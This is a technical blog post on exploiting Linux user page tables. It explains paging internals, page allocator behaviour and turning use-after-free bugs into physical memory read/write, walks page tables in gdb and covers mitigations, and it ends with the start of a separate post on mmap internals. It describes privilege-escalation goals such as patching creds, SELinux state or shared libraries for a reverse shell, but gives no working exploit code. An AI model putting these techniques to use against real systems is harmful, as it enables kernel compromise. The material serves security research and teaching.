So today we’ll be looking at (user) page table exploitation. If you’ve been keeping up with some of the great kernel exploitation research put out there lately (of which I will be sharing plenty of in this article, don’t worry!), you might have noticed a trend in techniques targeting page tables in order to gain powerful read/write primitives.

The goal for this post is to provide some insight into why targeting page tables can be such a powerful exploitation technique. We’ll do a primer on how paging works in Linux, to give us some context, before looking at how we can gain control of page tables in the first place, how to exploit them for privilege escalation and mitigations to be aware of.

As I mentioned, there’s a plethora of great research out there, so where relevant I’ll be linking to them so you can take a deeper dive into specific topics or approaches. At the end of the post I’ll include a section grouping all the relevant public research together.

So without further ado, let’s get stuck in!

Contents

• Paging Primer
• Exploitation
  • User Page Table Allocation
  • Page Table Corruption?
    • Page-Level Primitives
    • What About Other Primitives?
  • Exploiting A Page UAF?
    • PT Entries
    • Huge Pages
    • Going For A Walk
    • Approaches
    • On Caching
• Mitigations
  • Physical KASLR
  • Read-Only Memory
• Resources
• Wrapping Up

Paging Primer

he’s looking at pages, get it?

Before we get into the nitty gritty of page tables in kernel exploitation, we should probably quickly cover what pages tables are so we understand why exploiting them is so powerful.

Let’s pick up where we left off with my three-part series on virtual memory; if you’re not familiar with concepts like physical vs virtual memory or the user virtual address space, feel free to check out those posts for a recap before heading into this section.

Okay, so, we have this general idea of the virtual memory model. Let’s take the simple example of running a program, which we’ve touched on previously:

• First, the program itself is stored on disk and must be read
• It is loaded into RAM, where the physical address in memory is mapped into our process’ virtual address space
• This “mapping” means that when our program accesses a mapped virtual address, it will be translated into the appropriate physical address so the memory can be accessed

Page tables are what facilitate the translation of virtual to physical addresses. Why “page” tables? Recall that virtual memory is divided into “pages” which are PAGE_SIZE (typically 4096) bytes of contiguous virtual memory; in this case it defines the granularity at which chunks of physical memory are mapped into the virtual address space.

Each process has its own page tables, as does the kernel, to track what parts of its virtual address space are mapped to what parts of physical memory. So how does this work?

Page tables are organised into a hierarchy, or levels, with each table containing pointers to the next level. At the lowest level, the table contains pointers to a page of physical memory. Linux currently supports up to 5 levels[1]:

• Page Global Directory (PGD): Each entry in this table points to a P4D
• Page Level 4 Directory (P4D): Each entry in this table points to a PUD
• Page Upper Directory (PUD): Each entry in this table points to a PMD
• Page Middle Directory (PMD): Each entry in this table points a PT
• Page Table (PT): Each entry (PTE) points to a page of physical memory

Note that a lot of systems may still use 4 level page tables. In the event a page table level isn’t used (i.e. P4D is only used for 5 level page tables), it is “folded” AKA skipped.

Okay, that sounds fairly straight forward right? And to add to the page-ception, each of these tables is a PAGE_SIZE bytes. But how does these facilitate address translation?

Overview of page table structure (Linux x86_64) by Hiroki Kuzuno, Toshihiro Yamauchi [1]

That’s where this helpful diagram comes in! Let’s unpack it. In the centre we can see a 4-level page table hierarchy, with the PGD on the left and the final page on the right.

Looking up, we have see the bits that make up a 64-bit x86_64 virtual address. We can see that the offsets into each table level, and the final page, are actually stored in the virtual address! Isn’t that neat?!

There’s a few extra details to note here. First, keen readers might notice that we’re actually only using the lower 47 bits of the virtual address! What’s that Sign extended portion? As addresses are canonically 64-bits (i.e. that’s how they’re treated and handled), the remaining bits 48-63 are sign extended (i.e. copy) bit 47.

This bit is important, as it denotes if an address is a low address (for userspace) or a high address (for the kernel virtual address space). Don’t believe me? Compare a kernel and userspace address on your x86_64 machine and you’ll always see those bits set/unset.

Some more useful bits (figuratively speaking) worth mentioning are that:

• Page table entries aren’t just pointers to the next level/memory, they can also contain important metadata like permissions (spoiler alert).
• It’s not just PTEs that can point to physical memory. There’s a concept of huge pages, whereby a PMD points to a huge page of physical memory (a bit out of scope for this).
• The kernel’s page tables are setup at boot time. A process’ page tables are setup when it’s created. It used to be the case that the kernel’s page tables were copied into each process’ tables (remember, they span a mutually exclusive virtual address range).
• However, since Meltdown (2018) and speculative execution side-channely shenanigans, Kernel Page Table Isolation (KPTI, [CONFIG_PAGE_TABLE_ISOLATION](https://cateee.net/lkddb/web-lkddb/PAGE_TABLE_ISOLATION.html) / [CONFIG_MITIGATION_PAGE_TABLE_ISOLATION](https://cateee.net/lkddb/web-lkddb/MITIGATION_PAGE_TABLE_ISOLATION.html)) was introduced. This removes the kernel mappings from userspace, switching to a separate page table will all the mappings when entering “kernel mode” (i.e. during a syscall, interrupt).

I’ll touch on all of this in much more detail in the next instalment of my memory management linternals series, but there’s also plenty of great resources out there[1][2].

1. https://docs.kernel.org/mm/page_tables.html
2. https://github.com/lorenzo-stoakes/linux-vm-notes/blob/master/sections/page-tables.md

Exploitation

Alright, now we’re getting to the fun part! Given what we know about paging in the Linux kernel, we can start to understand why page tables present such a powerful exploitation target.

Gaining control over even a single PTE (or PMD entry, as this could be a huge page) means not just having control over the access permissions for that virtual memory mapping but also the physical address it maps to.

When we think of Kernel Address Space Layout Randomisation (KASLR), we’re typically thinking about the virtual address of the kernel. Physical KASLR is slightly different and may not always be present (in the case of upstream aarch64) or weaker.

Therefore, control over a PTE belonging to our process essentially grants us an arbitrary physical address read and write, granting control over the kernel while also bypassing mitigations that hinder other techniques.

But of course, this is all easier said than done! First we have to control a PTE…

So we have a target in mind for corruption: page tables. In order to realise that goal, we need to consider:

• How page tables are allocated by the kernel, so we know what kind of corruption primitive we need to corrupt them
• Are there generic approaches to gain a page table corruption primitive?
• How do we want to leverage our page table corruption for local privilege escalation?

User Page Table Allocation

If we want to consider memory corruption, we need to understand how page tables are allocated. As the kernel’s page tables are setup during boot-time, this section will just focus on how user page tables (i.e. for a userspace process) are allocated.

I’ll save the deep dive for linternals and cut to the chase. User page tables are by default allocated on demand: whenever a virtual address is accessed (read or written) and has a valid physical memory mapping, any missing page tables will be allocated and populated.

We can use some maths to guarantee this. Recall that each page table is PAGE_SIZE bytes. On a 64-bit system, entries are 64-bits. That means each page table has 4096 / 8 = 512 entries. We can then work out the virtual address range of each page table level:

• PTE-level table: Each of the 512 entries points to PAGE_SIZE bytes of physical memory. Therefore it spans 512 x 4096 = 2097152 = 0x200000 = 2MB.
• Page Middle Directory (PMD): Each entry spans 2MB. An entry may point to a PT or a 2MB block of memory (a huge page). The PMD itself spans 0x40000000 = 1GB
• This continues with the PUD spanning 512GB, the PGD spanning 256TB.

We can infer from this that the virtual address of the first entry of a PTE-level table is aligned to 0x200000. If we mmap() a page of anonymous memory to a fixed address, aligned to this value we can determine a few things:

• This virtual address’ mapping will be the first entry in its PTE-level table
• If there haven’t been any other mappings in this page table (i.e. for the next 0x200000 - 0x1000 bytes), then this page table hasn’t been allocated yet. Thus, accessing (read/writing) this mapping will cause it to be allocated.

Another quirk to note is that mmap() can be passed the MAP_POPULATE flag to populate the necessary page tables at the time the mapping is created.

With that mildly relevant tangent out of the way, let’s look at some code. Due to the tight integration with the hardware, some of the page table handling code is architecture specific. For x86_64 our trail starts here:

gfp_t __userpte_alloc_gfp = GFP_PGTABLE_USER | PGTABLE_HIGHMEM;

pgtable_t pte_alloc_one(struct mm_struct *mm)
{
	return __pte_alloc_one(mm, __userpte_alloc_gfp);
}

arch/x86/mm/pgtable.c

Note the GFP flags used: GFP_PGTABLE_USER | PGTABLE_HIGHMEM. A few calls deeper we then get to the asm-generic implementation, pagetable_alloc_noprof():

/**
 * pagetable_alloc - Allocate pagetables
 * @gfp:    GFP flags
 * @order:  desired pagetable order
 *
 * pagetable_alloc allocates memory for page tables as well as a page table
 * descriptor to describe that memory.
 *
 * Return: The ptdesc describing the allocated page tables.
 */
static inline struct ptdesc *pagetable_alloc_noprof(gfp_t gfp, unsigned int order)
{
	struct page *page = alloc_pages_noprof(gfp | __GFP_COMP, order);

	return page_ptdesc(page);
}

include/asm-generic/pgalloc.h (used for PTs, PMDs and PUDs)

As we can see user page tables are allocated using the page allocator, with GFP flags GFP_PGTABLE_USER | PGTABLE_HIGHMEM | __GFP_COMP. Okay, one step closer!

Now we know we’re dealing with the page allocator. This means that if we want to use a memory corruption primitive to control a page table, we need to have some control over a similarly allocated page from the same allocator. Let’s explore this a bit:

GPUAF slides by PAN ZHENPENG & JHENG BING JHONG

Above is a diagram showing some page allocator internals. Recall that the page allocator manages chunks of physically contiguous memory by order, where the size of the chunk is 2order * PAGE_SIZE.

Free memory chunks are managed by the free_area list, whose index is the order of the free chunks of memory it manages. Each order then has a free_list for each of the MIGRATE_TYPES, which points to the actual memory chunks. Working our way back you’ll then notice each zone has it’s own free_area list… Not to mention each CPU maintains its own per-CPU page cache… So yeah, that’s a lot.

This means when we’re doing any kind of page allocator-level corruption we need to be aware of all the variables: the CPU cache, zone, migrate type etc.

In our situation: Our page table is PAGE_SIZE bytes, so a single order 0 page. The GFP flags determine the zone and migrate type. Let’s quickly walk through those:

• GFP_PGTABLE_USER after peeling back the macros is __GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_ZERO | __GFP_ACCOUNT. No __GFP_RECLAIMABLE|__GFP_MOVABLE means no MIGRATE_MOVABLE[3].
• PGTABLE_HIGHMEM is effectively 0 unless CONFIG_HIGHMEM is set.
• __GFP_COMP is for compound pages[4], but doesn’t effect our zone/migrate type.

So to sum it all up: page tables are order-0 pages allocated by the page allocator, from ZONE_NORMAL, MIGRATE_UNMOVABLE.

Page Table Corruption?

Okay, we know what page tables are, why they’re powerful targets for exploitation and now we also know how user page tables are allocated - so how do we get control of one?!

The vulnerability research gods are fickle ones and we’re often at the whims of the primitives we’re given. So let’s explore a few cases and how we might leverage them to get control of a page table.

Page-Level Primitives

By far the “easiest” way would be if we had a nice order-0 page use-after-free (UAF), with suitable zone and migrate types. In this scenario, we could do some classic memory fengshui to have our page reallocated as a page table.

Even if it wasn’t an order-0 page, due to the buddy algorithm, if we exhaust the order-0 pages the allocator will split order-1 pages, if they’re exhausted then order-2 and so on. A similar technique could be used to exploit a page allocator level out-of-bounds write (OOBW), by having our OOBW source page allocated adjacent to our page table.

I thought I’d share some cool public research demonstrating this, funnily enough page-level UAFs aren’t too common, so both examples are from GPU bugs:

• GPUAF - Two ways of Rooting All Qualcomm based Android phones (aarch64)
• The Way to Android Root: Exploiting Your GPU On Smartphone (aarch64)

What About Other Primitives?

But what if we don’t have a nice page-level UAF? What if we’ve got a run of the mill SLAB allocator-level UAF? Is there any hope for us?! Yes!

As an avid reader of my linternals series, I’m sure you’ll remember that the slabs used by the SLAB allocator are in fact themselves allocated by the page allocator!

Therefore, if our UAF object is within a slab, perhaps we can cause this slab to get freed, returned to the page allocator and reallocated as a user page table?! We’d need to be mindful of the slabs order (aka size) and what write primitives we can get with our UAF in order to corrupt the page table’s contents, but it’s certainly do able.

How do I know? Because this is the crux of the Dirty Pagetable technique published by @NVamous back in 2023. This writeup details pivoting several vulnerabilities into page UAFs in order to gain control over user page tables, so check it out for more details!

In a similar vein, PageJack was published in 2024 (Phrack article, BlackHat slides) by Jinmeng Zhou, Jiayi Hu, Wenbo Shen & Zhiyun Qian. This technique also aims to provide a generic approach to gain a page UAF, by pivoting our initial primitive to induce the free of specific “bridge objects” which when freed cause a page UAF.

Below are some more writeups demonstrating these techniques:

• “Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup” by @ptrYudai (x86_64) (2023)
• “Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques” by @notselwyn expands on the Dirty Pagetable technique (x86_64) (2024)

Exploiting A Page UAF?

The pieces are finally aligned: we know what page tables are, why they’re a big deal and now we even know how to get control of them … but what do we do with all this power?!

As I mentioned earlier, we’re often at the whims at whatever bug the VR gods have tossed our way, so each bug is going to have its own quirks. Maybe you have an 8 byte arbitrary write or maybe you only have control over a single bit. While I can’t cover all eventualities, hopefully this section provides enough information to figure it out.

So we have a, either directly or through some technique, gained a page UAF, had that page reallocated as a user page table (for our process) and as a result have the means to corrupt all or some portion of the page table - what’s next?

PT Entries

First things first, we want to understand what we’re corrupting - what does our page table actually contain? Sure, it maps a specific page of virtual memory to a physical address, but what does this involve?

x86_64 PT Entry from OSDev.wiki

Above is a diagram of what an 8 byte PT entry looks like on x86_64. Here M is the maximum physical address bit, i.e. how many bits are used for addressing. As we touched one earlier, this isn’t actually 64, but a small value such as 47.

So this is a pretty smart use of space. As we know, these entries map pages in memory (i.e. PAGE_SIZE bytes of memory), so all addresses are page aligned. With a page size of 0x1000, this means the lower 0-11 bits are always going to be zero, so they can be used for metadata! Similarly, anything above the maximum address bit can be used for metadata.

Remember, this user page table corresponds to a portion (a 2MB portion specifically) of our processes’ virtual address space. So we’re interested in:

• The address bits, which control the physical page in memory that the virtual address corresponding to this entry will map to when accessed by our process.
• The permission bits, particularly if we map a read-only file (such as an SUID binary or system library) into the virtual address range covered by this page table.

Huge Pages

As we’ve touched on, PMDs and PUDs are allocated the same way as PTs - via the page allocator. So it is also feasible we could target one of these for our page-UAF.

Albeit, in their default usecase, this would be less practical than corrupting a PT. A PT would let us direct a virtual address to an arbitrary physical address, but PMD and PUD entries point to other tables … Apart from huge pages!

x86_64 PUD, PMD and PT Entry from OSDev.wiki

The above diagram shows the formatting for x86_64 PUD, PMD and PT entries. Both the PUD and PMD entries include a Page Size (PS) attribute. If this bit is set, it is treated as mapping to a huge page of physical memory, who size is appropriate for the page-level.

As we covered earlier, for a PMD this is 2MB and for a PUD it’s 1GB. As the physical addresses are aligned to the value of the physical mapping, we can see the PMD entry has even less address bits than the PT entry and the PUD even less than the PMD.

Going For A Walk

So far this has been all quite abstract, so, if you’ll indulge me, let’s go for a quick (page table) walk. We’ll take all the paging internals we’ve picked up so far to do some debugging in order to get some hands on and confirm what we’ve learned.

For our little walk, I’m going to use the following program to setup an interesting virtual address space to explore via kernel debugging:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#define PAGE_SIZE (0x1000UL)
#define PT_SIZE (512 * PAGE_SIZE) // 0x200000
#define PMD_SIZE (512 * PT_SIZE)  // 0x40000000
#define PUD_SIZE (512 * PMD_SIZE) // 0x8000000000
#define PGD_SIZE (512 * PUD_SIZE) // 0x1000000000000

int main()
{
    int fd = open("test.txt", O_RDONLY);

    mmap((void*)PUD_SIZE + PMD_SIZE + PT_SIZE, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED | MAP_POPULATE, -1, 0);
    mmap((void*)PUD_SIZE + PMD_SIZE + PT_SIZE + PAGE_SIZE, 0x1000, PROT_READ, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED | MAP_POPULATE, -1, 0);
    mmap((void*)PUD_SIZE + PMD_SIZE + PT_SIZE + PAGE_SIZE + PAGE_SIZE, 0x1000, PROT_READ, MAP_PRIVATE | MAP_FIXED | MAP_POPULATE, fd, 0);

    getchar(); // pause program so i can set a bp to trigger on the next mmap()
    mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

    return 0;
}

Note: MAP_POPULATE is used to make sure the tables are populated on mmap()ing them

The aim of this little program is to create three mappings, with slightly different permissions and attributes, at a fixed location. Why a fixed location?

Because as we’ve learned, the virtual address space is directly reflected by it’s page tables. So by using a fixed address we can calculate exactly which PT our page entries will be.

To make this a little easier, I created some macros to define the size each page table level spans. So, as the virtual address space is reflected directly by the page tables, we know that virtual address 0x0 is going to be mapped by PGD[0][0][0][0] - where the first index is the PGD entry, then that PUD entry, that PMD entry and finally that PT entry.

So if we map at fixed address PUD_SIZE + PMD_SIZE + PT_SIZE we’re offsetting it by example one PUD, one PMD and one PT. So we should find it at PGD[1][1][1][0].

We can also do it the technical way and explore the bits of the address. PUD_SIZE + PMD_SIZE + PT_SIZE == 0x8040200000. Let’s check out the bits:

Bit:  63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32
Val:   0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  1  0  0  0  0  0  0  0

Bit:  31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10  9  8  7  6  5  4  3  2  1  0
Val:   0  1  0  0  0  0  0  0  0  0  1  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0

In the paging primer earlier we showed that the entry offsets for the PGD, PUD, PMD, PT were stored in bits 39-47, 30-38, 21-29 and 12-20 respectively.  Here we can see those values correspond to 1, 1, 1 and 0. The same as our previous guess!

Note that the next two mappings are each offset by PAGE_SIZE, i.e. one PT entry, so they should form 3 contiguous PT entries.

This is all still theoretical though so let’s put out money where our mouth is. I set up a kernel debugging environment using gdb and x86_64 QEMU. The plan is to:

• Run this program on the guest
• When it pauses at getchar(), set a breakpoint in gdb at vm_area_alloc(mm)
• Continue the program, hit the breakpoint. We now, lazily, have a reference to our processes mm_struct which contains a pointer to its PGD. We can now walk our PGD and find out entries!

And, just like that we can dump our processes PGD:

(gdb) x/10gx mm->pgd
0xffff888106b50000:     0x8000000100172067      0x8000000102c9b067
0xffff888106b50010:     0x0000000000000000      0x0000000000000000
0xffff888106b50020:     0x0000000000000000      0x0000000000000000

Great, so far so good. We can see PGD[1] is populated with 0x8000000102c9b067. To find the address of the PUD this entry points to, we need to clear the metadata. This, for us, is bits 0:11 and 48:63. We can remove this with a simple mask: 0x8000000102c9b067 & 0x0000FFFFFFFFF000 =  0x102C9B000.

Awesome, so now we can move onto our PUD…

(gdb) x/10gx 0x102C9B000
0x102c9b000:    Cannot access memory at address 0x102c9b000

Ah wait, that’s a physical address right, and gdb is dealing with virtual addresses. Not to worry! Fortunately, the kernel virtual address space includes a direct mapping of all physical memory (physmap). For x86_64 this at __PAGE_OFFSET, 0xffff888000000000.

Sooo if that’s the kernel virtual address mapped to the start of physical memory, we just need to offset that by our physical address and we should see our PMD…

(gdb) x/2gx (0xffff888000000000 + 0x102c9b000)
0xffff888102c9b000:     0x0000000000000000      0x000000010436d067

Voila! And again, as expected, we have our entry at PGD[1][1]. Let’s keep going:

(gdb) x/2gx (0xffff888000000000 + (0x000000010436d067 & 0x0000FFFFFFFFF000))
0xffff88810436d000:     0x0000000000000000      0x0000000101346067

Now we’re into the PMD and as expected, we see PGD[1][1][1] populated. The next step is the PT, where we should see three entries with slightly different permissions:

(gdb) x/4gx (0xffff888000000000 + (0x0000000101346067 & 0x0000FFFFFFFFF000))
0xffff888101346000:     0x8000000107422067      0x80000000034ff225
0xffff888101346010:     0x800000010743c025      0x0000000000000000

And just like that we’ve walked our mm’s PGD all the way down to a specific PT, containing our 3 mappings: R/W anonymous mapping, RO anonymous mapping and finally a RO file. Sweet!

I’ll leave the examining of the various attributes, using the PTE diagram from the previous section, as an exercise to any interested readers, as I fear I’ve sidetracked enough. The main goal of this little adventure is to demonstrate how you can get some hands on debugging and poke around to help build your understanding, as it can be vital when working on complex exploitation techniques like this!

Now, where were we - weighing up our options for exploitation if we have some level of control over a page table…

Approaches

So, depending on our primitive, here a couple of options we might consider:

• Overwriting the address bits (and maybe Page Size bit for PUD/PMD entries) to gain arbitrary physical address R/W (note, we’ll discus phys KASLR later).
• Overwriting permissions bits to gain R/W on a privileged file that is mapped into our processes virtual address space as read-only.

Using our kernel AAW we could: disable SELinux, using one of the techniques outlined here, such as overwriting the selinux_state singleton[3][4]; patch the kernel to gain root (e.g. setresuid(), setresgid())[5][6]; overwrite modprobe_path because that’s sometimes still a thing[7]; following the linked lists of tasks from [init_task](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/sched/task.h#L58) to elevate the privilege of your own [cred](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/cred.h#L111)s or forge init’s etc. The world is our oyster (if our primitive is flexible enough…)!

As for files we might want to target, we could: patch shared libraries used by privileged processes to gain a reverse shell[8][9][10]; patch SUID binaries to gain a privileged shell etc.

On Caching

Before we get giddy with power, beyond the limitations of our primitive, there a few other things to consider: mitigations (which I’ll cover in the next section) and caching.

So far we’ve covered paging at a reasonably high level: the process of translating a virtual address to the correct physical address involves walking the appropriate page tables using the bits found in the virtual address.

This address translation is offloaded to the hardware and is the job of the Memory Management Unit (MMU). As you might imagine, this can get computationally expensive when you scale things up and also inefficient if we’re constantly accessing the same pages of memory.

To address this, the hardware makes use of various caches, storing address translations (the primary cache for this being the Translation Lookaside Buffer (TLB)) and pages.  

If we start messing with page table entries or pages, in order for the hardware to actual see these changes, we need to flush the appropriate caches so they’re updated with our version.

Of the write-ups I’ve mentioned so far, the Dirty Pagetable article has a section on this for aarch64 and Flipping Pages article has a section rel to x86_64.

1. https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/gfp.h#L16
2. https://lwn.net/Articles/619514/
3. https://klecko.github.io/posts/selinux-bypasses/#bypass-1-disable-selinux
4. https://soez.github.io/posts/CVE-2022-22265-Samsung-npu-driver/#disable-selinux (aarch64)
5. https://web.archive.org/web/20250304082609/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html#step3-patch-the-kernel (aarch64)
6. https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606#Escaping-from-nsjail (x86_64)
7. https://sam4k.com/like-techniques-modprobe_path/
8. https://soez.github.io/posts/CVE-2022-22265-Samsung-npu-driver/#inject-code-into-libbaseso (aarch64)
9. https://github.com/polygraphene/DirtyPipe-Android/blob/master/TECHNICAL-DETAILS.md#exploit-process (aarch64)
10. https://starlabs.sg/blog/2025/12-mali-cious-intent-exploiting-gpu-vulnerabilities-cve-2022-22706/#exploitation-primitive (aarch64)

Mitigations

Alright, we’ve had our fun, now it’s time to face reality: mitigations. Of course, one of the perks of page table exploitation is that it sidesteps more common mitigations: virtual KASLR, CFI, doesn’t need modprobe_path, random kmalloc caches and other heap mitigations; not to mention the permissions setup by page tables to protect memory acceses via virtual addresses. However, that’s not to say there’s nothing to worry about.

Physical KASLR

As I mentioned earlier, usually when we’re talking about Kernel Address Space Layout Randomisation (KASLR), we’re referring to kernel virtual address randomisation. However, as we’re dealing with physical addresses, we’re interested in physical KASLR.

[CONFIG_RANDOMIZE_BASE](https://cateee.net/lkddb/web-lkddb/RANDOMIZE_BASE.html) is the kernel config option that enables randomising the address of the kernel image (KASLR). Below is the description for the x86_64 option:

In support of Kernel Address Space Layout Randomization (KASLR), this randomizes the physical address at which the kernel image is decompressed and the virtual address where the kernel image is mapped, as a security feature that deters exploit attempts relying on knowledge of the location of kernel code internals.

On 64-bit, the kernel physical and virtual addresses are randomized separately.

Now, let’s look at the aarch64 description:

Randomizes the virtual address at which the kernel image is loaded, as a security feature that deters exploit attempts relying on knowledge of the location of kernel internals.

As far as I understand it, there is no upstream support for physical KASLR on aarch64. That said, if you’re on Android, you’re not out of the woods yet - Samsung have their own physical KASLR implementation, so don’t stop reading just yet.

For x86_64, the kernel’s physical base address is aligned to [CONFIG_PHYSICAL_START](https://cateee.net/lkddb/web-lkddb/PHYSICAL_START.html) (default being 0x1000000). However, the physical address alignment can be explicitly defined by [CONFIG_PHYSICAL_ALIGN](https://cateee.net/lkddb/web-lkddb/PHYSICAL_ALIGN.html), which is typically set to 0x200000 (which is the minimum value on x86_64).

Sooo how we approach this is going to be dependent on our primitive and whether we have control of a PT, PUD, PMD etc. But failing any context specific leaks, the most straightforward approach is simply brute forcing the available physical memory, taking advantage of alignment restrictions, reading the possible base addresses for known signatures either by updating PT entries or mapping huge pages of physical memory and doing it that.

Read-Only Memory

Another mitigation that can thwart our page-level shenanigans is the use of read-only memory. But Sam, I hear you ask, we’re dealing directly with physical addresses here, who’s going to stop us?! As we’ve mentioned, typically these protections are done during virtual address translation, but we’re bypassing that, so what gives?

An example of this is Samsung’s Real-time Kernel Protection (RKP), a hypervisor implementation which is part of Samsung KNOX. I don’t want to get too off track here, but essentially the hypervisor runs at a higher privilege level than even the kernel.

Moreover, it uses a 2 stage address translation to control how the kernel (and thus we) see physical memory. This essentially allows the hypervisor to mark memory as read-only so that even with our physical address read/write, it can still be caught by the hypervisor as it’s operating at a higher privilege. This is a gross simplification, so if you’re interested in reading more, checkout the awesome Samsung RKP Compendium.

This can in turn be used to protect critical data structures such as SLAB caches (e.g. cred_jar), global variables, kernel page tables etc.

Note this isn’t currently used (afaik) to protect user page tables, but it does narrow down the options available when exploiting the physical address read/write.

Resources

Below is a list of all the resources I’ve linked throughout the articles and any extras that are relevant to the topic of page table exploitation (if you think I’ve missed any, lmk!):

1. Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel by @NVamous (2023) (aarch64) technique overview with 3 examples
2. “Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup” by @ptrYudai (2023) (x86_64) exploit write-up
3. “Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques” by @notselwyn (2024) (x86_64) exploit write-up that expands on the Dirty Pagetable technique, covers phys KASLR bypass, cache flushing
4. PageJack (Phrack article, BlackHat slides) (2024) technique overview
5. GPUAF - Two ways of Rooting All Qualcomm based Android phones (2024) (aarch64) exploit slides
6. The Way to Android Root: Exploiting Your GPU On Smartphone (2024) (aarch64) exploit slides
7. CVE-2022-22265 Samsung npu driver (2024) (aarch64) exploit write-up that includes bypasses for Samsung DEFEX
8. Mali-cious Intent: Exploiting GPU Vulnerabilities (CVE-2022-22706 / CVE-2021-39793) (2025) (aarch64) Mali GPU exploitation; demonstrates injecting hooks and payloads into read-only shared libraries

RE internals and more background reading:

1. Page Tables - Linux Kernel Docs are a good place to start on fundamentals
2. Checkout my linternal series for rundowns on page allocators and mm basics
3. A Quick Dive Into The Linux Kernel Page Allocator (2025) is a great look into the kernel’s page allocator

Wrapping Up

Boom, we did it! This has been a fun one to write, hopefully it’s, if not fun, been a helpful read for anyone curious about the current trend of page table exploitation.

It’s part of the broader cat and mouse game of security research, as mitigations catch up and become more widespread, attackers need to get more creative in bypassing or circumventing them completely. Often, this means going deeper and deeper into the internals. As we’ve seen, by exploiting page tables and using physical memory addressing, we’re essentially able to operate “under” the purview of traditional mitigations, such as the permission accesses done at the virtual address level.

That said, it’s not quite the wild west, as, while not wide spread, mitigations for these techniques do exist. So I wonder where the next stop will be in this mitigations race!

If you’re interested in digging deeper into page table internals, specifically with regards to kernel code and implementation, I’ll be touching on that in the next part of my mm series.

As always feel free to @me (on X, Bluesky or less commonly used Mastodon) if you have any questions, suggestions or corrections :)

The aim of this series is to explore the inner workings of the Linux kernel’s memory management (mm) subsystem by examining how this simple program is implemented:

#include <sys/mman.h>

int main()
{
    void *addr;

    addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    *(long*)addr = 0x4142434445464748;

    munmap(addr, 0x1000);
    return 0;
}

While I’m making up the scope of this series as I go (seems fine), the general idea is to cover the mapping, writing and unmapping of memory in detail as the kernel sees it.

In the first part of the series we covered:

• What memory management is and a brief overview of the kernel’s mm subsystem
• What our simple program does from the user’s perspective and how it interacts with the kernel (it’s only like 2 syscalls, how much could there be to cover…)
• The start of our journey: how memory is mapped via the mmap() system call - argument marshalling, fetching the mm_struct, a bit of security, locking - right up until the actual implementation in do_mmap() anyway (sorry, that really was a cliffhanger)

So without further ado, let’s dive back into how (anonymous) memory is mapped via mmap()!

Contents

• Mapping Memory (cont.)
  • What Are Mappings?
    • struct vm_area_struct
    • mm->mm_mt
  • do_mmap()
    • Finding A Suitable addr
  • mmap_region()
    • VMA Merging
    • VMA Allocation
  • Final Bits
  • Summary
• Next Time

Mapping Memory (cont.)

Broadly speaking, there are 3 things happening in our program: mapping some anonymous memory, writing to it and then unmapping it. Currently, we’re digging into the first part:

addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

Let’s quickly recap how deep in the mm subsystem we are, since making our mmap(2) system call from our userspace program. Using gdb we can set a breakpoint on do_mmap(), which is where we left off, and check the backtrace:

(gdb) bt
#0  do_mmap (file=file@entry=0x0 <fixed_percpu_data>, addr=0, len=4096, prot=3, flags=34, vm_flags=vm_flags@entry=0, pgoff=0, 
    populate=0xffffc90001a17e80, uf=0xffffc90001a17ea0) at mm/mmap.c:1215
#1  0xffffffff8162aabc in vm_mmap_pgoff (file=file@entry=0x0 <fixed_percpu_data>, addr=<optimized out>, len=<optimized out>, 
    prot=<optimized out>, flag=<optimized out>, pgoff=<optimized out>) at mm/util.c:556
#2  0xffffffff816a4d7c in ksys_mmap_pgoff (addr=0, len=4096, prot=3, flags=34, fd=<optimized out>, pgoff=0) at mm/mmap.c:1427
#3  0xffffffff810a894f in __do_sys_mmap (addr=0, off=<optimized out>, len=<optimized out>, prot=<optimized out>, flags=<optimized out>, 
    fd=<optimized out>) at arch/x86/kernel/sys_x86_64.c:93
#4  0xffffffff8100507f in x64_sys_call (regs=regs@entry=0xffffc90001a17f58, nr=nr@entry=9) at arch/x86/entry/syscall_64.c:29
#5  0xffffffff844328b1 in do_syscall_x64 (regs=0xffffc90001a17f58, nr=<optimized out>) at arch/x86/entry/common.c:51
#6  do_syscall_64 (regs=0xffffc90001a17f58, nr=<optimized out>) at arch/x86/entry/common.c:81
#7  0xffffffff84600130 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121

backtrace for our program’s mmap() call (on a 6.11.5 kernel)

So far these functions have mostly been sanitisting arguments, doing necessary security checks and taking the all important [mmap_write_lock_killable(mm)](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mmap_lock.h#L117).

Before we continue where we left off, about to dive into [do_mmap()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm.h#L3410), I’m going to touch on some key background which will provide important context for the rest of the post!

What Are Mappings?

We probably shouldn’t go much further down the memory mapping rabbit hole without first covering what a mapping is, or at least how the kernel represents them.

